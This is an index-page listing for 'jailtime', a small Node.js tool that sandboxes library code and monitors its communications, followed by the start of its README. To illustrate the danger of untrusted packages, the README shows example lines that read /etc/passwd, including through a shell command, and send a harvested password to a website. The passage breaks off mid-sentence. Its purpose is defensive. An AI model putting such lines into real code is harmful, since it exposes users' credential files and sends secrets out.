Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/vjeux/jailtime
Put your node code in jail and monitor all its communications
https://github.com/vjeux/jailtime
Last synced: about 2 months ago
JSON representation
Put your node code in jail and monitor all its communications
- Host: GitHub
- URL: https://github.com/vjeux/jailtime
- Owner: vjeux
- License: mit
- Created: 2018-01-27T19:16:05.000Z (almost 7 years ago)
- Default Branch: master
- Last Pushed: 2018-01-29T20:53:46.000Z (almost 7 years ago)
- Last Synced: 2024-10-30T02:33:09.500Z (2 months ago)
- Language: JavaScript
- Size: 2.93 KB
- Stars: 13
- Watchers: 5
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# jailtime
The node ecosystem is amazing because it's very likely that there's already a lib out there that does what you want. However, it should also pretty scary to install such library because you're going to run arbitrary code with your user priviledges. Node lets you read arbitrary files, execute arbitrary external processes and connect to the internet.
For example, one could read the password files off your computer and send it to a website:
```js
require('fs').readFileSync('/etc/passwd', 'utf8');
require('child_process').execSync('cat /etc/passwd').toString();
require('http').get('http://vjeux.com/?harvest=' + getPassword());
```Unfortunately it's